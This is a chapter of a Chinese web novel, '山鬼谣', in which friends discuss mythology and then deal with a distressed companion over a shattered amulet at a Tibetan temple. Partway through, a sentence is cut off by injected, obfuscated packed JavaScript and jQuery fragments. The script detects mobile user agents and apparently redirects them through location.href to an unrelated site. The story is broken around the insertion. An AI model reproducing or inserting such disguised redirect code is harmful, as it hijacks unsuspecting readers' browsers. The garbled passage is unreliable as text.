56. 第 56 章
作品:《山鬼谣》 霍宁彻底清醒时,四人小群里已经是99+了。
秦思勉依旧在琢磨风岐。
【你们看啊,一般不都说女歧出生地是陕西嘛,那风岐不也是风岐妈妈从陕西抱回来的,对吧?】
【岐跟歧能互通,说不定就是她呗。】
后头跟了几条应柏的,给她看愣了。
应柏连风岐是孤儿都不知道,还以为风岐有个姓风的爹。
秦思勉:【不是不是,就捡到她的地方挨着扶风跟岐山嘛,风岐妈妈就给她起的这个名儿。】
隔了会儿,应柏问了个正中他下怀的问题:【女娲、女歧、女魃前的“女”字,是指性别吗?还是姓氏?】
秦思勉回了一大通,总结起来就一句话——他这两种解释也对,但也有专家认为这是上古时期的一种称呼女性首领或神祇的固定搭配。
表示尊敬的。
但秦思勉后头就跑偏了:【我记得谁说过的来着,女歧就是姑获鸟,因为自己没孩子所以抢别人的孩子。】
霍宁引用了他这条:【我建议你现在收拾包袱跑。】
楚天阔醒来后也加入了讨论,用自己的观念解释了“无合生九子”——【子其实不一定只是指儿子。无论男女,只要是后代都是“子”。】
【而且后代并不一定是要通过生产,收养、认亲,包括师徒关系也算是一种“有子”。】
霍宁又引用了:【哎我觉得这个有道理,确实啊。】
应柏问秦思勉有关贺兰山的传说发生于八千年前有没有更多的根据。但传说只是传说,秦思勉没法提供,但倒是把剩下知道的全抖落了个干净。
发现她醒了,应柏艾特了她,说是小院那里收拾好了。她睡前就把表哥的电话发给了应柏,又给表哥留了消息,所以应柏上午取钥匙过去了。
秦思勉无业游民的优点也发挥了出来,醒来之后就自己跟过去一块儿打扫,虽然那时候已近尾声。
现下应柏问起她风岐书桌的事,霍宁给他回了段语音:“你信她个鬼!她那桌子我从淘宝给她买的!五千都不要!”
算是有个好消息——周辽醒来后跟应柏道了个歉,之后就一直躲着他。
霍宁推开房门没走两步,就看见风岐风风火火地抱着电脑下楼,快迈过门槛时忽地停下来,鬼鬼祟祟地向外张望,回头间看到她就是一个激灵:“没、没再来个谁吧?”
“还想来谁?”
“我害怕啊,我怕...”
风岐想着想着,给应柏打了个电话。
电话响了两声,应柏边将霍宁的车驶入安宁之家院子边接起:“风岐,我回来了。”
风岐暗自腹诽:她还没瞎,倒也不是看不到。
应柏下车,对上风岐目光的那一瞬,耳根不由自主地发烫。
她今天穿着件纯黑有暗绣的粗麻倒大袖旗袍,下头是镂空的菱形纹打底裤和一双平跟黑色皮鞋。
左腕上除了南红手串和衔尾蛇手镯,又多了两根细朱砂手镯。她旗袍外裹一条浅咖色的羊绒围巾,头发挽成一丝不苟的髻子,气势汹汹地走近,劈口就问:“你和宋玄羲谁厉害?”
“你是指...什么方面?”应柏仰着脖子把手里的半瓶水一饮而尽。
“你打得过她吗?”
“你要干啥?”霍宁愣住了。早上不还同情呢吗?刚不还害怕呢吗?现在跟要撺掇应柏去收拾宋玄羲似的。
“我...”应柏瞬间将塑料瓶捏紧,“为什么要问我这个问题?”
风岐拧了眉头微微偏脸,应柏赶紧答她:“我没有和她交过手。”
“但是我见过她和别人动手,如果真的有这一天,她应该...”他面颊绯红,“在我之上。”
“银样镴枪头,中看不中用。”风岐径自向凉亭走。
应柏忙跟上她:“你是觉得宋玄羲会对你...”
风岐冷哼:“万一她要抓我去上班,怎么办?”
霍宁笑了出来:“神经病。”
应柏心中反复念着她的那句话,她...是在说他中看吗?
“哎,愣着干嘛?赶紧的啊。”见应柏站在原地,霍宁赶忙催他,风岐都已经坐在凉亭里插电脑了,不得趁着这工夫把正事儿给解决了。
“哦,好。”
风岐警觉地一抬头:“又干嘛?”
霍宁:“秦思勉觉得周辽好像...人格分裂了?”
“哈?”
为了防止再出现昨天晚上的意外,楚天阔和周辽开了一间标间,今天凌晨睡前,楚天阔听周辽梦呓般地说过一句:到了这里,像是回到了故乡,但他父母都跟这儿八竿子打不着。
醒来以后,周辽说前一夜发生了什么都不记得了,还都是靠楚天阔提醒才知道自己做了那么多糊涂事,现在人说着想去藏庙散散心。
风岐明白霍宁的意思:“堵不如疏呗,周辽心情好了,估计就好好说话了,他想去去好了,你非要拦着他...”她瞟应柏一眼,“你打算跟他一块儿去啊?”
应柏点点头。
“我们能不能别搞得跟个专业犯罪团伙一样啊,”看这个看那个的,“顺其自然呗,你越逼他他越难受。”
霍宁笑了,应柏现在跟专业犯罪也差不多了,刚还问她要了一大堆东西——狂犬疫苗、宠物笼、麻绳、登山索,甚至还问她有没有渠道弄到镇静剂。
她问应柏:“秦思勉咋说?”前天秦思勉到藏庙没走两步就出来了,既然人来了,心莲总还是得给他看的。
应柏:“他不认识,我提到采花树的时候他还很惊讶。他对采花树的理解应该就只有他长辈给他讲的故事。”
风岐一摊手:“别的呢?其它照片给他看了吗?”
应柏原本稍稍回白的脸又瞬间通红:“没、没什么了...”
风岐屈指敲敲石桌:“应柏,不会撒谎就别撒。”和他说话太费劲了,她举起手机,还不如直接问秦思勉。
“风岐、风岐,”应柏赶忙拦她,“我说、我说。”
秦思勉看到那尊“阿閦佛”的照片还问他中间这个字该读啥,放大了图片看神像的脚就脱口而出:“迦梨女神么这不是?”
应柏的手机放在桌面,双手紧紧握在桌缘,霍宁自己把照片翻出来问风岐:“迦梨女神是谁?”
“我哪儿知道?”她瞥一眼应柏,“赶紧的。”
应柏说出“帕尔瓦蒂”时风岐就反应了过来,她同样放大神像的脚:“下头踩着的是湿婆?”
这哪里像个人形啊?这不就是根棍子吗?
风岐恍然大悟:“哦,这是个林伽啊。”迦梨女神要踩不也该踩个人形吗?
话音刚落,应柏抓起手机哑声道:“我、我该走了,我还有事。”说完人就逃也似的回大堂去了。
“林伽是啥?”霍宁疑惑。
风岐一边给她解释一面给应柏去了条消息:【你一大把年纪了装什么纯情?】
“这东西本来就是个融合物吧?”非要在这上头纠结干嘛?浪费精力。
霍宁直笑:“不是,他至于吗?”
她倒是对风岐说的“帕尔瓦蒂化身迦梨女神消灭恶魔后无法控制杀戮之心,湿婆自愿躺在她脚下,任其踩踏以求停止她的灭世之舞换其清醒”这种说法来了点儿兴趣。
风岐嘀咕:“你看,思想肮脏的人就只能想到那些东西,对吧?”
“你说我要不去印度进修一下,回来跳舞把他们三个全都送走?”
霍宁手机里进了一条应柏的消息,递给风岐看了一眼。他还是有些不放心,打算开车等在那附近。
风岐点点头:“阿定她…时间定了吗?”
“估计就明后天了,”霍宁叹了口气,“哎你说那红衣女鬼,八成儿真是应柏显了形。”
风岐嗤嗤直笑:“你别吓我。”
印度教讲梵,他们的传说里有很多分/身化身之类的元素,也有说三相神自体内分化出自己伴侣的,同一个神分男女两相也不是不可能。
“管他呢,爱谁谁吧。”
——
“我师兄最近特别特别焦虑。”罗研说。
霍宁心道:能不焦虑吗?
可罗研说的根本不是她理解的那种,容貌焦虑、年龄焦虑、学历焦虑、社会地位焦虑...什么都有。
罗研笑逐颜开:“我都撞见他对着后视镜好多回了。”不仅如此,今天吐槽他快奔三的时候,应柏头一次反驳了一句:“二十七。”
几人正说着话,风岐捏着张A4纸从院子里进来,恰看到站在霍宁身侧的楚天阔脸色有些奇异。
“天阔姐姐,是不是哪儿不舒服啊?”想着她昨晚应该没有休息好,应柏出门时,风岐给楚天阔去了条消息,问她要不要过来歇会儿。
叫了好几声,楚天阔这才回神:“没、没有...就是...”
“我们...”她示意霍宁和风岐一道出大堂,霍宁的手机却响了起来。
霍宁听了没两句就绕回柜台后取电瓶车钥匙,口袋里塞了一把,给风岐又扔了一把:“赶紧的,走走走。”
——
车停到藏庙外的公路边后,应柏就拨通了宗律师的电话。这通电话持续了半个多小时,他一面做笔记,一面在电脑上跑数据,接近尾声时,他终于看到了周辽和秦思勉的身影。他们在庙前广场上绕着转经筒转了许多圈,这才进去。
他们进去后快二十分钟,四人小群里秦思勉发来一条消息:【周辽好像认识心莲。】
他刚下车,恰好看到远处骑着电瓶车过来的阿定。那一瞬间,阿定的车头歪了一下,人也忽地瑟缩。但之后,阿定停了车过来主动跟他打招呼,寒暄几句,给了他跟霍宁通话的时间。
霍宁当机立断:“你把电话给她,我跟她说。”
没两分钟,阿定递回正在通话的手机。
“让她上车,把钥匙给她,你先在车外边儿守着她,我们马上就到了。”
秦思勉的消息源源不断地进来:【咋办咋办?】
【周辽说要带走。】
【非要带走。】
下一条就是楚天阔艾特的应柏:【风岐让你先进去稳着。】
——
风岐自己骑一辆,霍宁骑车带着楚天阔,因此风岐在前头风驰电掣,两边全靠吼。
“他自己没车啊把我们车开走干嘛?”
两人比风岐落后了五十米,只见她下车后解开腰带,把棒球棍往怀里一拢,大步流星地往里走。
霍宁:“我现在不怕别人,我真有点儿怕她一会儿把里头连人带东西地全砸了。”
秦思勉改了群语音,霍宁上车,楚天阔留在外面听秦思勉转播。
“你来做什么!”是周辽带着恐惧与愤怒的声音,显然是应柏已经到了。
周辽捧着碎成两瓣的心莲对应柏做了一个向前递的动作,忽又收回,往复几次。应柏大概明白了他的意思,周辽这是把心莲当做了可以用来对付他的法宝。
他笑了笑,刚要开口,身上的灼热忽地消散,与此同时,周辽不可置信地睁大了眼。
应柏余光里,风岐正站在偏屋外的院子里。他悄悄偏头看了一眼,正看到她抚了两下胸口平复心跳和呼吸,紧接着把本藏在怀里的棒球棍抽了出来,正在往右袖子里塞。
“你做了什么!”周辽尖声叫道。
秦思勉打了个哆嗦,戴着耳机的楚天阔赶紧摘了一个下来,风岐庆幸自己握住了棒球棍柄,不然周辽这一嗓子真要给她吓得把凶器给露出来了。
她有点儿后悔自己本能地把棒球棍带出来,万一一会儿脾气上来了,也不知道这算不算持械伤人。
应柏看着周辽颤抖的双手,那指缝里齑粉下落。周辽忙不迭地收拢指头,可克制不住颤抖。
风岐进来时,周辽手里的心莲只剩了一半,但这一半,也碎得惨不忍睹。
“碎、碎了,咋、咋回事儿啊?”秦思勉抖抖索索。
应柏从风岐进入偏屋后就将她挡在身后,风岐从他臂侧探
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497628|185886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出半个头,扯扯他的衣摆,轻声问:“你没碰吧?”
应柏气声答她:“没有。”胸腔里的暖流经久不息,手下意识就向后伸,想去寻她的,被她一巴掌拍落。
周辽有些崩溃,捧着心莲一屁股坐倒在地,秦思勉左看右看,最后赶忙跑到风岐身边:“咋、咋办啊?”
风岐巴不得回他一句:“继续进局子呗。”
她推了推应柏:“出去出去,赶紧的。”
“那个...”她清了清嗓子,蹲到周辽身侧。
周辽这才看到风岐,带着哭腔唤她。
“这是怎么回事?摔碎了?”风岐轻声问他。
秦思勉道:“不是不是,就是...”风岐的眼刀一扫,他赶紧闭了嘴。
风岐的神情重新柔和下来:“这个...是你自己的东西还是庙里的?”
周辽依旧捧着那碎片,风岐掏了掏口袋,问了秦思勉,最后还是秦思勉出去找应柏要了张手帕纸过来,才让周辽兜着的这一捧放了上去。
这样一换,又扑簌簌掉下来不少,周辽怔怔道:“这是我爸爸、我爸爸从来不离身的护身符...”
风岐心中“咯噔”一声,秦思勉“啊?”了出来:“你爸的东西咋会在这儿?”
周辽哽咽着摇摇头,风岐掏出手机给霍宁打了一行字说清状况,又接了一句:【这又什么鬼?】
“这...”她装作为难的样子,仰头看向秦思勉:“原来是这儿的东西是吧?”
秦思勉刚要张口,风岐冷声道:“点头摇头,不许说话。”秦思勉点了点头。
风岐再次柔声对周辽说:“那我们得先跟喇嘛讲一下,”她又确认了一次里面没有摄像头,“这里的东西都是放这儿保管的,我们先出去,怎么样?”
周辽被秦思勉扶起身的时间里,风岐收到了应柏的消息:【大喇嘛外出交流,最近不在,其他人不知道归属。】
她示意秦思勉降低步速,没两分钟,霍宁的消息也过来了:【我让阿定先留车里。】
周辽陷入自闭状态,秦思勉还打算实话实说,风岐走到庙门前,看到应柏站在不远处,先快步过去悄悄把棒球棍转移到他怀里。
要判判他。
回到庙门,她对着值班的喇嘛微微躬身、双手合十置于胸前先开了口:“扎西德勒。”
对方会普通话,她开门见山:“打扰上师,我们的朋友刚才看到...”她只说周辽是一时好奇拿了起来,力气不当引起了它的碎裂。
秦思勉悄悄给她发过消息,说东西一直被周辽紧紧抓在手里,周辽用的力气很大,一开始还好好的,也就她到之前,碎成了她看到的模样。那她这么说也不算撒谎。
这儿的规矩倒也有意思,送来的东西如果主人要取回,跟大喇嘛说一声就行,但是大喇嘛不保证东西是否是原样,也不保证东西是否还在。
毕竟你送来是“镇压”的,这里不该算作你的仓库。所以这心莲现在成了这样,这里也不会告诉原本的主人,除非原本的主人自己来问。
怪随缘的。
喇嘛让他们把东西放回去就行,周辽失魂落魄地向回走,风岐问了声能不能交给秦思勉让他帮忙送回去,但周辽置若罔闻。
快进偏屋时,周辽顿住脚步,求助般地问风岐:“风小姐,能不能帮我问问,这是谁送来的。”
“或者、或者...”他想把心莲带走。
风岐皱了会儿眉头:“你看这样行不行?咱们先回去商量一下,这里风俗跟我们那儿肯定不一样,说话做事都要注意的。”
“过几天等大喇嘛回来了,我来试试看,但是咱们不能说结果一定怎么样,行吗?”
周辽默然落泪,最后点点头:“好。”
看着周辽把碎片放回去,秦思勉松了口气,风岐给应柏去了个电话,总算他也知道自己现在得躲着周辽,不在视线范围之内。
“你身上有钞票吗?”
应柏从口袋里掏出一沓钱:“有,要给你送来吗?”
风岐心里叹了口气,现在把钱给周辽让他去塞谁知道会不会又起波折。这一帮子人还是得赶快出去,万一吵闹起来,真惊动了人,就不是一两句话能说清的了。
“你去找个功德箱,往里头塞点儿,一两块的就行,别塞多了。”
“数量可以多,但是数额不要大。”
“好。”
她挂断电话走到秦思勉身边:“你们俩先去小楼那儿吧,你陪他一会儿,行不?”
秦思勉点点头,风岐打了三个字:【怕不怕?】
秦思勉的脸登时紧绷,又点了点头。
风岐有些庆幸西部地区天黑晚,要是在家里,现在早黑透了。
她又打了一行字:【我们一会儿就过来。】
她刻意走在两人之后,霍宁的电话进来时,应柏刚从正殿快步下来。
“有点儿东西啊你们。”霍宁关了车门走开两步,这才开腔。
秦思勉的转播已经结束了,楚天阔和霍宁简单商量了两句便跟上失魂落魄的周辽和双腿打颤的秦思勉。
霍宁先前上车后,跟阿定一半靠风岐路上的临时瞎话一半靠现场发挥,只是这几人的速度实在太快,她才刚说到:“就应柏之前觉得那东西可能不太干净,联系了几个...算是有点儿道行的过来看看,里边儿有个脾气不太好的...”
重点是不能让周辽见到阿定,周辽现在逮谁咬谁,昨天把罗研凶了一顿,一会儿看到阿定保不齐又得鬼叫。也算是风岐先前那个“专业犯罪团队”给的灵感。
但阿定看到了风岐来时的模样:“就是刚才那个穿长风衣的女孩子吗?”
这话说风岐好像也有道理,但这个问题她没来得及回答,就看到了楚天阔发来的一行字:【他们说碎了。】
“你就站那儿呗,你不怕一会儿过来人家把你认出来...”遥遥见风岐停了脚,站定两秒往回跑,霍宁笑了,“行了你俩在里边儿藏会儿,我这儿结束了给你报信儿。”